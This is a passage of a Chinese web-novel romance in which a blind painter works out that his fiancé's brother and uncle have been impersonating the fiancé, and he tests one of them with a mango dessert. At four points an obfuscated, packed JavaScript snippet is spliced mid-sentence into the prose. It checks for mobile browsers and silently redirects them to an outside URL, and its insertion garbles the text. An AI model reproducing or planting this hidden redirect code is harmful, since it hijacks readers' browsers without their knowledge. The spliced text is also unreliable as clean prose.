虽然庭华只和程栖山见过一两面,但那时的感觉和今天的感觉截然不同,总让他觉得怪怪的。 柯玉树:“……嗯,是程栖山病了吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949072|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?我大概能猜测到他得的什么病,小花不用担心我。” 柯玉树又抿了一口杯里的温水,温水沾湿他的唇瓣,因为杯子太大,还有一些沾到了嘴角,他低下头,细碎的头发随着他的动作下落,又被他别到了耳后。 庭华视线没有从柯玉树身上移开过,听到柯玉树这么说,他眉头微微皱起。 他的医德依旧在线,不能说出那位病人的身份,于是想从另一个方面入手。 “玉树,我和你……” “小花,我们现在只是挚友,可以吗?”柯玉树忽然打断他的话。 他还不想闹到无法收场的地步,现在他和庭华的关系已经退回到挚友,刚刚好,最好不要再来外力破坏。 “……可以,”庭华声音带着失落,“但是玉树你一定要小心,他们两个根本不像是正常人,特别是你那个未婚夫笑里藏刀……” 柯玉树随口应答,堵住了庭华即将开口的话,他把杯子放到桌上,然后站起身。 “我知道的,小花,他的病我有猜测,你真的不用担心我。” 精神分裂症其实还好,无论哪个人格柯玉树都能轻轻松松拿捏,再过几个月,柯玉树恢复光明,他就更不会害怕了。 到时候要是程栖山敢跟他动手,那么他们就互殴,柯玉树对自己的身手还是很有自信的。 而且既然程栖山有找人治病的意向,说明现在他的病还可控。 “作为未婚夫,我应该无条件支持他,相信他,小花,你说呢?”柯玉树说。 庭华知道柯玉树完全没把自己的话放在心里,偏偏他又不能说到底是谁来他的心理咨询室咨询问题,他甚至都不能公布自己和柯玉树的关系,只能维持在普通友人的界限。 他侄子成为柯玉树缪斯的事情无人不知,他是初代缪斯的事却鲜有人知。 其实在见到程栖山的第一眼,庭华就知道柯玉树已经在劫难逃了,因为程栖山的长相和声音都太符合柯玉树的审美了。 庭华早就知道柯玉树是个韧性十足的疯子美人,为达目的不择手段,但他还是甘愿待在柯玉树身边,因为柯玉树似毒药,也似蜜糖。 庭华曾想过及时止损,两人分开了一段时间,但不行,庭华克制不住自己的感情,到现在都没办法修补心里面那一块疤痕。 所以他回s市发展了。 再次见到柯玉树,那块伤疤像是被人疯狂撕扯,痛得鲜血淋漓,庭华却只能按耐住自己的冲动,将自己归训在界限里。 他已经快疯了,而柯玉树却依旧白皙无暇。 “玉树……” “小花,我不知道他到你的咨询室里说了什么,但是真的不用担心,他斗不过我。而且既然他有治病的想法,证明他还是个正常人,我不想再在别人口中听到有人对我未婚夫的诋毁。谢谢你的提醒,我先走了。”柯玉树说。 他这一番话说得毫不留情,终于击溃了庭华的防线。 他有些愤怒,又有些懵懵的。 ……什么? 什么叫程栖山来他这里治病? 玉树误会了什么吗?不,不对劲,那对叔侄,还有来咨询室的病人都不对劲! 庭华深深皱眉,终究为柯玉树违背了医德。 他一字一句、苦涩地说:“可是玉树,来我心理咨询室的,不是他。” 他犯了错。 17. 破绽 17 来庭华心理咨询室的,是李阿姨。 李阿姨也是医生,算是庭华的前辈,她资历老,但抗压能力一般,大半辈子遇到的都是正常人,直到这段时间去了程家。 工作了没两个月,精神状态就有些堪忧,甚至随时都会崩溃。 庭华想让柯玉树多注意刚才桌上的程家两“兄弟”,这两人看柯玉树的眼神都不对劲,能把李医生逼成那样的人,绝对不是什么善茬。 但事情好像没有他想的这么简单,因为听柯玉树的意思,他以为来心理咨询室的是他的未婚夫。 正常人不会怀疑即将结婚的未婚夫,柯玉树想到了什么? 柯玉树也脑瓜子嗡嗡的,他们刚才的对话驴唇不对马嘴,柯玉树想了好一会儿才理清楚。 然后两人身体同时一僵,又不约而同地发出提问。 柯玉树:“等等,你刚刚为什么说他们?们是谁?” 庭华:“你未婚夫是个精神病?” 两人:“……” 柯玉树又默默走回休息室,庭华连忙扶着他坐下。 柯玉树脑子有点乱,他抓着庭华的手臂问:“你刚刚说他们两个不是正常人,我的未婚夫只有一个啊,们是谁?司机吗?” 庭华不会把目光放到一个不起眼的司机身上,除非这个司机身份特殊,他认识。 果不其然,庭华惊讶地问:“就是他们,刚才和我们一起吃饭的程家兄弟,坐你旁边的是程大少爷。” 柯玉树微微皱眉:“可程栖山说,另外一个人是他的司机。” “那是你未婚夫的小弟,程雀枝,程家二少爷。” 柯玉树:“……?” 不行了,柯玉树现在是真的有些茫然,没有礼貌的司机忽然变成了未婚夫的小弟,挚友还提醒他一定要小心这两兄弟,柯玉树一时间抓不到重点,茫然地抬起头。 “什么程雀枝?” “程栖山没有跟你讲过他的身份?”现在轮到庭华惊讶了,“他还说程雀枝是司机?玉树,程家果然有问题,你为什么会认为来我心理咨询室的是你未婚夫?” 心理咨询室、精神分裂、两兄弟还有柯月叶说的,莫名其妙的两股资源和人脉,前面是程栖山,那么后面是…… 一瞬间,柯玉树脸色变得苍白,他想到一种可能性,深深蹙起了眉,伸出右手摸索着桌上的茶杯,庭华连忙把茶杯推到他手里。 “他……不对劲。”柯玉树说,“就是很不对劲,庭华,你知道吗?他不像一个人。” 柯玉树声音微哑,还带着几分脆弱和小心翼翼,破碎感拉满,他将杯子里的冷水一饮而尽,冰凉的唇不再像刚才那样粉红,而是逐渐苍白。 茫然无措。 庭华向来!不惮以最坏的恶意揣测他人的,特别是觊觎柯玉树的人,未婚夫程栖山更是他的眼中刺。 程栖山一定有大问题。 基于对挚友的信任,柯玉树简单描述了未婚夫精神分裂的证据,庭华听罢陷入沉思,柯玉树也久久不愿意开口。 真的很诡异。 庭华盯着柯玉树看了很久,忽然问:“你想到了什么。” 他的语气很笃定。 柯玉树很敏感,之前一同旅行的时候能敏锐察觉出友人的心绪变化,给出相应的鼓励或者慰藉,所以这位大画家虽然外表冷淡,但也依旧被他们的友人圈子称为暖男。 柯玉树和程栖山相处了好几个月,现在心里肯定有了猜测。 为什么今晚上未婚夫说在车里等他,又突然出现在电梯旁边?还有之前种种奇怪又冲突的行为、时不时的变脸、能让他摸脸的人和不让他摸脸的人还有未婚夫脖子上时有时无的伤口,无一不在说明他的未婚夫不止一个人。 所以,陪在他身边的除了未婚夫程栖山,还有程栖山的小弟,程雀枝。 柯玉树叹气:“他……他们似乎不是一个人,不过庭华,离开医院的时候有医生告诉我大概再修养几个月,我的眼睛就可以模模糊糊看清楚东西,到时候我想亲眼看看,一直陪在我身边的人是谁。” 虽然有所猜测,但听到柯玉树说出来,庭华还是觉得不可置信。 姓程的这俩狗*的疯了吗?他们居然敢把柯玉树当共有财产,共夫?! “可是玉树,现在你身边很危险,我不能放任你不管!” 庭华急了。 李医生仅仅是在程家工作了两个月,就已经像是走在钢丝上,摇摇欲坠,他担心同样的情况会出现在柯玉树身上。 虽然庭华知道玉树的性格坚韧,即便是车祸失明也也没折断他骄傲的羽翼和脊梁,但庭华依旧把柯玉树看成了易碎品。 庭华真心喜欢柯玉树,自然会珍视他的所有,见不得柯玉树受伤,甚至处于危险的境地。 “那你帮帮我,帮我查程栖山身边的人,瑟莲家族除了程栖山和他弟弟,这一辈还有哪些人。” 柯玉树握着庭华的手臂,渐渐恢复了冷静,即便刚才面临巨大的冲击,他也能在短时间内回归平静,甚至打算反击。 真不愧是程家人,事情做得滴水不漏,到现在才露了破绽出来。 这兄弟俩费尽心思欺骗他,肯定是想从他身上图谋什么,柯玉树忽然来了兴趣,他一定要留下来调查真相,一是因为他舍不得这么好的缪斯,二也是因为他想报复这两兄弟。 敢耍他的人少之又少,柯玉树已经太久没遇到了,这样想着,柯玉树忽然唇角勾起冷笑,庭华眼睛都看直了。 怎么忽然笑起来了? 庭华就不回话,柯玉树歪头:“小花?” “没问题,包在我身上,我一定尽快将资料发给你。”庭华连忙回答。 他语速有些快,以此掩饰刚才的出神。 “小花怎么突然变傻了?”柯玉树无奈道。 “我……我……” 柯玉树缓缓靠近庭华,然后伸出手像抓盲盒似的抓住了庭华手臂,捏了捏。 “真傻了吗?”柯玉树眨眨眼,“这可不像你,咱们之前遇到危险都是迎难而上的,挚友。” 喜欢的人忽然亲近自己,庭华的心如擂鼓,他感觉自己又要疯了。 危险! 明知眼前这人危险至极,像深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949073|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渊一般随时会将他吞入其中,但庭华却完全克制不了自己的内心。 但柯玉树说,他们是挚友。 “没傻,玉树,你放心去做吧,我会派人保护你。”庭华说。 “行,谢了,”柯玉树放开庭华的手臂,站起身来,“走吧,咱们去会会他们。” 庭华:“……好。” 休息室的大门缓缓打开,不远处的大堂传来微弱的人声。茶心餐厅的占地面积很大,里面的客流量却不多,给足了客人隐私,即便有人在其中用正常音量交谈,也不会让人觉得嘈杂。 庭华扶着柯玉树靠近公共沙发,看到自家便宜大侄子正躺倒在沙发上,庭英头着地,满脸充血,腿还勾着旁边的柱子,庭华嘴角抽了抽。 程雀枝善解人意地解释:“是庭英自己干的,我们有视频为证。” 程诲南也补充道:“他非认为这么躺着能止吐,还说什么不能在喜欢的人面前丢面子,唉,真不知道是谁告诉他的方法。” 庭华:“……” 他合理怀疑是这两人说的,目的就是骗他这可怜又痴傻的大侄子出丑,只可惜玉树现在看不到,欣赏不了他大侄子充满艺术造型的姿势,但也够遭罪了。 程家这对兄弟果然是狠人。 庭华气得牙痒痒,不情不愿把柯玉树扶到程诲南面前,他是真不想把柯玉树交出去,奈何程诲南伸手扣住了柯玉树的手腕,往自己这那地方拉。 “玉树,到我身边来。”程诲南得意洋洋地说,还挑衅看了眼庭华。 柯玉树顺从靠近程诲南。 庭华:“……” 玉树,你这样会被他们吃的死死的啊! 虽然知道柯玉树可能是在演戏,庭华还是有些担心,他微微蹙眉,想说什么,就听柯玉树说:“我有些困了,回家吧。” 程诲南自然同意。 但既然柯玉树不打算离开,庭华就没有权干涉,他站在原地,有些犹豫到底要不要把大侄子扶起来,片刻后,他还是决定先送柯玉树。 玉树身边那么危险,他不放心。 庭华把柯玉树送到门口,为了避嫌,柯玉树没做多余的事,道别之后直接就离开了,由程诲南扶着上了车。 他不能让程家人知道他跟庭华的关系有多好,否则庭华那边的调查会受到限制。 手被“未婚夫”握着,男人手心微凉,平时和柯玉树相处的人手心却干燥温暖,他又敏锐发现了一处破绽。 柯玉树不留痕迹地叹了一口气。 真是被人看扁了,而他居然到现在在发现不对劲,真是当局者迷。 柯玉树又被气笑了。 宾利车门关上,夜间顶灯自动打开,柯玉树微微挑眉,他似乎有眼冒金星的感觉,眼里也开始冒白光,像是有星星围着他不停转圈圈,嘲笑着他的愚蠢。 明明这么简单的骗局,他居然被骗了快三个月…… 等等! 柯玉树忽然抬头,眼前的“金光”似乎放大了光圈。 他好像真的看见了光。 柯玉树:“……” 太诡异了。 18. 玉树猜到兄弟 18 柯玉树茫然地眨了眨眼睛,感受着眼前微弱的光,看似平静,实则心海已经波涛翻涌。 那光很微弱,像是在纯黑夜里废弃的荧光棒,忽闪忽闪的,一直处于黑暗之中的柯玉树轻而易举察觉到了它的存在。 他看到了光,难道说他的眼睛要被气好了吗? 想到这里,柯玉树忽然冷笑了一声,声音在车内回荡,一直忐忑无比的两人莫名其妙抖了抖,特别是开车的程雀枝,他的手忽然抽搐一下,车子打了个Z型的旋。 他们不知道庭华和柯玉树说了什么?悬在头顶的那柄达摩克利斯之剑迟迟不肯落下,现在终于要解脱了吗? 柯玉树冷笑完,忽然说:“程栖山,你雇的这司机太不专业了,现在就把他开了?” 程雀枝:“?” 程诲南眉头微挑,看来大祸临头的是便宜二侄子,他温柔地问:“玉树,是发生什么事了吗?” 柯玉树之前都没说什么,现在却突然上纲上线,难道说庭华真的发现了什么?但如果庭华识破程诲南不是程栖山,并告知了柯玉树,柯玉树不会这么淡定。 柯玉树忽然靠近程诲南,用不大不小的声音说:“他开车技术很差,我头晕,要是换你来开绝对不会这样,你来开好不好?” 柯玉树像是在冲程诲南撒娇,车内的挡板并没有升起来,程雀枝听得清清楚楚,他握着方向盘的手青筋暴起,恨不得现在就把后面小叔的头给拧下来。 程诲南十分受用,“既然玉树都这么说了,那我就和他换个位置,他坐副驾驶怎么样?” 程雀枝冷笑一声,就这么不想他和玉树坐一起? 不想还是不敢? 没想到柯玉树皱眉说:“不行,你的副驾驶只能我坐。” 程诲南:“?” 程雀枝:“?” 柯玉树又软下声音说:“你是我的未婚夫,之前还说过什么事都会听我的,这点小事都不行吗?” 程诲南瞬间就被勾走了心神,乐呵呵道:“行行行,当然行,我这就把他赶出去!” 得到未婚夫肯定的答复,柯玉树揽住他的脖子,小声说:“你真好。” 程诲南:“嘻。” 程雀枝:“!!!!!!” 柯玉树手在程诲南的脖子上轻轻抚摸,程诲南喉咙有什么粗糙的布料,也没有……伤口。 程诲南愣了一下,心里暗思忖:还好自己现在用不上变音贴,不然刚才玉树这么一摸就露馅了。 他状似毫无察觉,问道:“怎么了吗?” 柯玉树:“没什么,把他赶下去……” “砰——” 柯玉树的话还没说完,就听驾驶室传来一声巨响,然后宾利猛然刹车,差点把柯玉树甩飞了出去,还好被程诲南拉了回来。 “怎么了?” 车内陷入一片死寂,柯玉树和程诲南同时转向驾驶室的方向,柯玉树看不到驾驶室的情况,他茫然询问:“到底是怎么了?” 程诲南闭目,“司机手劲太大,不小心把方向盘扯下来了。” 柯玉树:“……” 姓程的果然都有点说法,真是牛。 五分钟后,红旗车抵达路边,程雀枝蹲在红旗车外面一脸沮丧。 柯玉树淡淡说道:“既然这是司机师傅的失误,就让他守在旁边等人来拖车,自己犯的错要自己解决。” 程雀枝:“……呜。” 程诲南顿时幸灾乐祸:“好,都听玉树的。” 红旗车扬长而去。 风吹起柯玉树微长的头发,鼠尾草的香气飘到程雀枝的面庞,他沉溺一瞬,又吃了一嘴的车尾气,最终只能无能狂怒,在原地大叫:“程诲南你这畜生!!!” 就差去追车了。 车上的柯玉树似乎听到程雀枝在骂人,跟百灵鸟似的,心情顿时好了不少。 “怎么这么开心?”程诲南问。 柯玉树:“我想到了开心的事。” 程诲南听到他这么说,也自觉不再打扰,他总感觉今天晚上玉树的压迫感很强,肯定是那个庭华跟他说了什么,但还是那句话,玉树没什么太大的反应,说不定庭华只是说了他的几句坏话。 不痛不痒。 程诲南最擅长的就是温水煮青蛙了,他经验丰富,曾经流连花丛引得好些个金发美少女美少年为他争风吃醋,现在拿下一个侄媳不在话下。 二侄子? 不足为惧。 柯玉树能感觉程诲南的视线停留在自己身上,他把程雀枝赶了下去,留在车上的很有可能就是他真正的未婚夫,一想到未婚夫的做法,柯玉树心中升起一股恶意。 程栖山,你也是默许的吧? 刚好这时手机震动了一下,AI语音播报:“您的好友小花发来语音消息一则。” 听到这则语音播报,程诲南的脸色变了变。 小花?庭华?备注还挺亲密,他跟柯玉树是正常朋友关系吗? “我接个电话。” 柯玉树戴上耳机,庭华为他转述了程家的资料,和妹妹提前查到的资料大致吻合。 程栖山和程雀枝的母亲是瑟莲家族长女,瑟莲家族在国外有爵位,原本应该是两兄弟的母亲袭爵,没想到母亲忽然离世,那时候的程栖山只有九岁,没了母亲的庇护,父亲也是个普通人,于是程栖山干脆放弃了爵位,去到城市边缘的庄园生活了一段时间,又毅然决然选择回国读书,这才安稳活到成年。 成年的程栖山杀回家族,在厮杀中夺回了家族的大部分管理权,程雀枝则与他合力将瑟莲家族的产业做大做强,物流运输更是跟战区扯上了关系。 他手上有特权。 庭华找到了华点:“但是玉树,这里有一个疑点,程栖山似乎曾经有个监护人。” 监护人? “程栖山小弟的名字叫莱纳斯,哀歌创始者的那个莱纳斯,中文名叫程雀枝,至于他曾经监护人的名字,暂时还没查出来。” 监护人不重要,但程雀枝? 柯玉树咀嚼着这个名字。 莱纳斯、程雀枝、Linus? Linus的词根是linum,拉丁语意为亚麻,而鸟雀在西方神话中通常以亚麻为食。 希腊神话中的Linus以其音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949074|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐才华和后来被误杀的悲剧命运而闻名,这名字带着一种忧郁深沉,甚至悲剧色彩的气质,让柯玉树想到了未婚夫其中的一个人格。 深沉、阴冷,十分相似,果然是兄弟。 柯玉树喃喃:“可真是个好名字啊……” 程诲南凑过来问:“什么名字?” 柯玉树挂断了和庭华的通讯,指尖停在手机的边框摩擦,像是在思考。 没能得到柯玉树的回答,程诲南忽然有些忐忑,他又问:“玉树?” “程栖山,能告诉我你的英文名字吗?” 程诲南疑惑:“我的英文名字?” 柯玉树点头说:“当然。” 程诲南再疑惑:“我之前没有告诉过你吗?” 程诲南心中忽然生出一丝渴望,如果程栖山并没有告诉柯玉树,那是不是就意味着,他能在柯玉树口中听到自己的名字? 程诲南心跳快了几拍。 柯玉树摇头,在程诲南期望的目光下缓缓说:“你从未告诉我你的英文名。” 柯玉树想要知道眼前的人是否会告诉他真实答案,如果这人对自己是真心的,又为什么要伙同程雀枝欺骗自己? 难道说程家有共夫的传统? 太荒谬了。 “Cedric,西德里克,我的名字。”程诲南说。 他说出这名字后如释重负,又满含期待地看着柯玉树。 柯玉树挑眉,故意问:“艾凡赫里的英雄、那个富有同情心的贵族,还是cedar?我记得你身上确实有雪松的香味,你喜欢雪松吗?” 程诲南的心忽然漏跳了一拍,他完全没有想过柯玉树竟然能将自己的名字引申得这么透彻,cedar,雪松,确实是他名字的由来。 程诲南强装镇定地说:“这只是我母亲随便起的名字,没有什么特殊含义。” 然而柯玉树却继续猜测:“我记得雪松是一种高大坚韧的长青树木,S市在南方,很难见到雪松。南方代表温暖和生机,你来到南方,是不是有着引导、庇护的之意,还有……教诲?” 程、诲、南。 程诲南的手心已经快被冷汗浸透了,他根本想不到柯玉树居然能这么敏锐,仅仅通过一个英文名,就差点猜到他的中文名。 此时此刻,程诲南感觉自己像是被枪指着头,心慌意乱,甚至想要逃跑。 明明在数年前他被质疑伯爵血统不纯时,被人包围在古堡生死一线的时候,他都没有这么慌,现在却想要逃跑,因为他撒谎了,他说了自己的本名,现在却差点被眼前的人揭穿。 “很好听的名字,西德,南方的树,我是玉树,咱们两个还挺般配。”柯玉树又忽然说。 程诲南慌乱的心瞬间被安抚,原本枯死的树又立刻焕发出了生机。柯玉树的声音很轻柔,像是恋人之间的耳语,程诲南简直要被勾走心神。 直到,他听到柯玉树最后念出的那个名字。 “程栖山。” 那一刻,程诲南像是被架在火上烤,又有一瓢锅边醋浇下来,引得他又疼,又酸,又渴望。 不知道该说是痛苦,还是绝望? 19. 固体杨枝甘露 19 柯玉树静静等着旁边人的反应,却发现未婚夫毫无破绽。 未婚夫的这一人格成熟且情绪稳定,看来自己还需要其他信息佐证,不能急于一时。 车子抵达,程诲南扶着柯玉树一路到了家门口,负责开车的司机沉默跟了一路,快要开门时,他忽然说:“程先生,集团有事。” 程诲南打开手机,发现程雀枝居然疯狂给他打了几十个电话,还好他一早就给手机开了静音,想必程雀枝已经气疯了。 柯玉树善解人意地说:“去吧,集团的事重要。” 说完就扫描指纹,打开了门。 李阿姨在家里等着,看到柯玉树回来,连忙快步走过来把他扶进了屋。 “柯先生回来了啊,今天下午真是太危险了,你有受什么伤吗?晚饭吃了什么?” 柯玉树刚想回答,就发觉李阿姨扶着他的手臂猛然抖了抖,然后缓缓捏紧。 “程先生也回来了啊……” 李阿姨不对劲。 柯玉树的表情没变,对着李阿姨说:“没受伤,今晚和程栖山去餐厅吃的饭,他集团还有事要忙,我们先进去。” 李阿姨对未婚夫的态度时而惊讶,时而惧怕,明明有那么多破绽,自己之前怎么没发现,柯玉树忽然感觉他就像是被蒙在鼓里的无头苍蝇一样,真是可笑。 柯玉树把李阿姨的手从自己手臂上拿了下来,然后用导盲杖探索着进了门,李阿姨则站在门口,呆呆地看着程诲南。 程诲南伸出手指抵在唇边,明明他是笑着的,却让李阿姨不寒而栗,似乎只要说出他的身份,李阿姨今天就走不出这个公寓。 司机走上前来把平层的大门关上,程诲南转身,二侄子的电话。 电话很快接通。 程雀枝骂了个爽:“程诲南我星星,你个星星,你他妈是活不耐烦了吗?快他妈滚出我的家,看我回来怎么弄死你,滚!滚啊!” 没想到程诲南不但不生气,还轻笑一声,提醒说:“我妈是你奶。” 程雀枝:“……” 平层内,柯玉树静静等着李阿姨给他冲蜂蜜水。 柯玉树睡前一般只喝小半杯温水,再加一勺槐花蜜,就能睡个安稳觉。 李阿姨把蜂蜜水递给柯玉树,岁月静好,她人却越来越愁。 李阿姨最近的心理压力太大,从前那么多年的职业生涯,她所关注的都是病人的身体健康,没想到这次却极其特殊。 她卷入了有钱人的纷争。 程家的没有一个是正常人,无论是程雀枝还是程诲南,说绑就绑,说骗就骗,就连自己的嫂子和侄媳妇都不放过。 干完这一票她就回家过年,再不复出了! “李阿姨,你知道程栖山除了花粉,还有哪些过敏源吗?”柯玉树忽然问。 作为住家阿姨兼医生,李阿姨自然要知道两位雇主的饮食习惯和忌口,甚至程家人的她都有一份。 谁给的不言而喻。 “程先生对芒果过敏。”李阿姨回答。 真正的程栖山对芒果过敏,吃一点就会呼吸不畅,然而假·程栖山·真·程雀枝却能吃芒果,甚至还很喜欢芒果。 喜欢吃芒果是吧程雀枝,既然都已经学自己大哥欺骗大嫂了,那学像一些应该也没有什么坏处吧? 听了李阿姨的话,柯玉树若有所思。 “之前在餐厅吃饭的时候,我忽然想喝杨枝甘露,可惜餐厅没有。李阿姨,我记得最近固体杨枝甘露很火,明天做一份吧。”柯玉树说。 固体杨枝甘露的成分就有芒果,而且一眼就看得出来,到时候他就让这人试一试,看这个人怎么编。 至于李阿姨,柯玉树完全不担心她会告密,因为告不告都一样,柯玉树只是想要知道这个人的反应。 李阿姨自然同意,人在做坏事的时候是不会累人的,但毕竟是她的雇主,但表面上的样子还是要装一装的。 于是李阿姨故作为难地说:“可是先生对芒果过敏。” “他不吃,我吃。”柯玉树摇头,又忽然笑了一下,“只是很久没吃杨枝甘露了,馋得很。” 柯玉树很少在李阿姨面前笑得那么轻松,李阿姨忽然感觉脑子像是被谁给操控了,连连点头说好。 但她又转念一想,想到了个重点。 “可是柯先生,你也对芒果过敏啊。” “只是一点点过敏罢了,我是真喜欢芒果,要是真喜欢一样食物,即便是吃着过敏药也要吃。”柯玉树这样说。 李阿姨觉得他意有所指,但也不敢问,目送着柯玉树回到房间。 柯玉树哼着歌,任由自己沉在浴缸里,他原以为在未婚夫家里养病很安全,不过现在睁开眼睛一看,他未婚夫家里似乎才是龙潭虎穴。 一分钟后,柯玉树又缓缓漂浮起来,白皙的肌肤上水珠滚落,像是一张白布,被泼上了纯白的颜料。 “你们最好不要让我觉得无聊。” 自浴室出来,房间明显有人注视,柯玉树默默为自己系上了有药膏的纱布,然后走到床边。 “玉树。”男人开口。 “栖山,你怎么在这?”柯玉树在男人身边坐下。 男人抓着柯玉树的手指,轻吻,柯玉树手指不受控制的蜷缩了一下。 “看看你,顺便让李阿姨带了蜂蜜水。” 他伸出手,透过纱布,柯玉树看到门口站着个跟未婚夫长得一模一样的人。 “玉树,”旁边的男人唤回柯玉树,“你在看什么?” “不喝。”柯玉树微笑着说,“我已经刷牙了啊。” 那男人一直站在门口,不动,旁边的人也不动。 似是在对峙。 柯玉树对他们的战斗并不感兴趣,因为他到点该睡觉了,于是他翻身上床,将自己被子掖得严严实实。 “亲爱的,我该睡觉了,记得把门带上。” “晚安。” 良久,门口传来男人微哑的声音。 “晚安。” 夜半,柯玉树静静在床上沉睡,他的睡眠质量一向很好,却也因为睡得太熟,发丝散乱,在两侧脸颊勾出了个小小的卷。 片刻后,带着一身寒气的男人再次回到床头。 男人嘴角渗出鲜血,就那样站着,神色阴沉,眼睛一眨不眨地盯着柯玉树。 柯玉树在梦中似乎有些不安,他嘟囔了什么,然后翻了个身,背对男人。 男人眼中忽然翻涌起浓浓的嫉妒与怒气,他轻声问:“玉树,为什么?为什么不选择我?” 没人回答他的话。 片刻后,男人轻笑:“不过没关系,再等等,等一段时间我一定带你走。” 次日。 “今天阳光很好呢,柯先生要不来阳台晒一晒太阳?”李阿姨问。 柯玉树点头,李阿姨就扶着柯玉树到阳台坐好,自己也搬了简易的桌子到柯玉树旁边陪着他。 上午的阳光应该是很刺目的,然而柯玉树眼前却一片漆黑,似乎昨天晚上见到的光明只是错觉。 李阿姨在旁边准备红心柚子和芒果,鼻尖蔓延着果香和奶油的香,甜甜的,令柯玉树心情大好。 柯玉树今天穿了一件浅绿色的高领毛衣,毛衣很有设计感,贴合人体线条却又不显得紧身,袖口处还垂了两缕白色的流苏。 为了搭配这一身高领毛衣,柯玉树还在右耳坠了金色的耳钉,更显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949075|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年轻,看着像是初出茅庐的设计学院小年轻。 阳光洒在他的身上,融化了清冷美人外表的坚冰,软成了一滩春水,程雀枝回来的时候,见到的就是这副模样。 他站在客厅看着柯玉树,心脏狂跳。 程雀枝就这样站了几分钟,直到抑制了不规律的心跳,他才走到柯玉树旁边。 却看到杨阿姨正在制作固体杨枝甘露。 固体杨枝甘露由芒果,西柚奶油堆叠而成,李阿姨还将其切成了小块,放在盘子里。 “程栖山,你回来了。”柯玉树出声叫他。 程雀枝:“嗯。” 柯玉树转头,阳光在他脸上折射出浅淡的阴影。 “我拿不到,能帮忙吗?” 固体杨枝甘露不像普通奶茶那样能直接喝,柯玉树现在看不到,要是摸索着去触碰那些小块固体的话,说不定会将奶油弄得一团糟。 程雀枝顿了一下,然后扫了一眼李阿姨。李阿姨今天下班前就给他发了消息,说柯玉树要吃杨枝甘露,并且提醒程雀枝,程栖山对杨枝甘露里面的芒果过敏。 过敏啊…… “怎么了?”柯玉树故作疑惑。 程雀枝摇头,“没什么。” 李阿姨:“两位先生,我去厨房看看。” 李阿姨离开了。 程雀枝戴上李阿姨准备好的薄手套,捏起一小块杨枝甘露。 “张嘴。” 柯玉树听话地张开嘴,程雀枝半蹲在他面前,还能看到柯玉树洁白的牙齿和一闪而过的殷红舌尖。 柯玉树的嘴唇一直都很湿润,就是涂了一层润唇膏,柯玉树的颜色也浅淡,令人忍不住想要在他身上涂抹些什么。 杨枝甘露被送入口中,柯玉树鼓着腮帮子咀嚼起来,脸颊也因此动来动去。 忽然,柯玉树问:“程栖山,你不吃一个吗?味道还挺好的。” 程雀枝摇头,“我就不吃了,过敏,你应该也对芒果过敏,也要少吃。” 未婚夫居然知道他对过敏的吗? 柯玉树淡淡想着,即便被未婚夫有些阴湿的视线盯着也毫不在意。 “再来一个。” 程雀枝又投喂了一个,然后盯着柯玉树动来动去的腮帮子,怎么看怎么可爱。 一个没注意,指尖居然触碰到了柯玉树温热的嘴唇,殷红的舌尖在程雀枝指尖划过,柯玉树忽然轻哼了一声。 “玉树,怎么了?” 程雀枝顾不得刚才令他意乱神迷的触感,生怕柯玉树过敏了。 柯玉树拉长声音:“我……” 他欲擒故纵,程雀枝万分心焦。 “到底怎么了?” 程雀枝说着,又靠近了一些。 忽然,柯玉树伸出手找到了程雀枝的肩膀,又顺着肩膀往上,扣住了后脑勺。 程雀枝有些茫然,“玉树?” 柯玉树的手猛然用力,程雀枝没反应过来,清冷美人的脸已经凑到了面前。 柯玉树吻在了程雀枝的下巴,果肉和奶油的香气瞬间充斥了程雀枝的鼻腔,程雀枝没反应,像是被吓呆了。 柯玉树轻笑一声,唇瓣向上,自然而然侵入了程雀枝的口腔。 一瞬间,奶香、柚子香和芒果香味在两人唇齿间炸开,柯玉树将口中的固体杨枝甘露推入了程雀枝口中,酸甜的味道引得程雀枝不自觉分泌出了口水。 芒果…… 他下意识吞咽,咀嚼,又被一个温暖湿滑的东西占据了口腔。 “唔……玉、玉树?呃……” 程雀枝发出断断续续的闷哼声。 